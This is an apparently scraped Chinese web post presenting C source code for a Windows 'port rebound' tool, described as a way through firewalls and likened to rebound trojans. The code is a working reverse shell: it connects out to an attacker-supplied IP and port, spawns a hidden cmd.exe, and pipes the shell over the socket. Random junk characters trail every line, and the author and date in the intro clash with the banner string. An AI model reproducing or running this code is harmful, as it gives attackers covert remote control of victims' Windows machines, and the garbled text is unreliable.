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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ss{  
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/* ============================== YP vg(T  
Rebound port in Windows NT Y&_1U/}h  
By wind,2006/7 9=Rj9%  
===============================*/ h\^> s$  
#include N^8 lfc$a  
#include r&-I r3[  
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#pragma comment(lib,"wsock32.lib") },5_h0  
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void OutputShell(); Q.[^5 8  
SOCKET sClient; #%g~fh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iXDQ2&gE*  
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void main(int argc,char **argv) $\@yH^hL  
{ "Z6:d"S`  
WSADATA stWsaData; t#h<'?\E  
int nRet; $MG. I[h  
SOCKADDR_IN stSaiClient,stSaiServer; `;R|SyrX  
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if(argc != 3) 6axm H~_  
{ D;Jb' Be  
printf("Useage:\n\rRebound DestIP DestPort\n"); Zm@ O[:~  
return; u!DSyHR '  
} U"v}br -kb  
c=p@l<)  
WSAStartup(MAKEWORD(2,2),&stWsaData); E0*'AZi&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <ST#< $%  
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stSaiClient.sin_family = AF_INET; p }bTI5  
stSaiClient.sin_port = htons(0); cnOk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wp,z~raaS  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M('cG  
{ l<$c.GgFd  
printf("Bind Socket Failed!\n"); ~!!>`x  
return; -W+67@(\8H  
} :=tPC A=  
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stSaiServer.sin_family = AF_INET; _r|$H_#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M_4g%uHG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ft[g1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B"I> mw  
{ :*!u\lV\  
printf("Connect Error!"); G K @]61b  
return; ZCMB]bL-e  
} w%k)J{\  
OutputShell(); <nj[=C4v  
} )gCHwu  
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void OutputShell() soZw""|v  
{ QW f)5S  
char szBuff[1024]; Rh%/xG#k  
SECURITY_ATTRIBUTES stSecurityAttributes; aM9St!i  
OSVERSIONINFO stOsversionInfo; _|Ml6;1aZ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `B6{y9J6  
STARTUPINFO stStartupInfo; rQ'tab.,]  
char *szShell; v) q6  
PROCESS_INFORMATION stProcessInformation; k[ Iwxl;/  
unsigned long lBytesRead; 8Db~OYVJG  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); < P5;8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WL}6YSC  
stSecurityAttributes.lpSecurityDescriptor = 0; =D4EPfQn1  
stSecurityAttributes.bInheritHandle = TRUE; W &4`eB/4}  
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<' %g $"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k&DH QvfB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4T9hT~cT7  
S_:(I^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n a2"Sy=Yi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4ij`   
stStartupInfo.wShowWindow = SW_HIDE; #Y}Hh7.<  
stStartupInfo.hStdInput = hReadPipe; Ytx+7OLe  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;.W0Aa  
4 _N)1u !  
GetVersionEx(&stOsversionInfo); n/8Kb.Vf  
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switch(stOsversionInfo.dwPlatformId) _ |TE )h  
{ uU.9*B=H9  
case 1: BdO$  
szShell = "command.com"; &,."=G  
break; 2c%}p0<;|?  
default: @mJN  
szShell = "cmd.exe"; ^ MJGY,r6b  
break; 31>k3IP&  
} bOck^1Hky  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g-p OO/|  
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send(sClient,szMsg,77,0); f aO8 &  
while(1) P>@`hZ9 o  
{ y-n\;d>[(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;mi0Q.  
if(lBytesRead) DAu|`pyC%  
{ N0vd>b  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @L<[38  
send(sClient,szBuff,lBytesRead,0); - Ez|  
} HnP;1Gi  
else {yb\p9q{Yo  
{ 5h:SH]tn8]  
lBytesRead=recv(sClient,szBuff,1024,0); K%=n \ Y  
if(lBytesRead<=0) break; WQ5sC[&   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); : l>Ue&  
} [V)sCAW  
} 5&X  
"]_|c\98  
return; 2/7=@>|  
}
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